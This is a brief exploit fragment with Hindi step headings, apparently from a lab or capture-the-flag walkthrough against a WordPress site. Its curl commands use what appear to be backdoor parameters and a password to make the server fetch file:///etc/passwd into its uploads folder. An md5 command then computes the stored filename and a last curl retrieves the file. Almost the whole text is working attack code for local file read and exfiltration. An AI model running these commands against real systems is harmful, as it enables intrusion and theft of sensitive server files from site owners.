ट्रिगर: file:// के माध्यम से /etc/passwd पढ़ें और uploads में एक्सफ़िलट्रेट करें

curl -sS -A "$UA" -X POST "$BASE/?__kds_flag=post" \
  --data-urlencode "kds_password=$SECRET" \
  --data-urlencode "post_title=sub1-lfi" \
  --data-urlencode "__kds_feature_url=file:///etc/passwd"

---

एक्सफ़िलट्रेट की गई फ़ाइल प्राप्त करें

संग्रहीत फ़ाइलनाम की गणना करें

HASH=$(printf 'file:///etc/passwd' | md5sum | awk '{print $1}')

फ़ाइल लाएँ

curl -sS -A "$UA" "$BASE/wp-content/uploads/$YMD/${HASH}.jpg" | head -n 25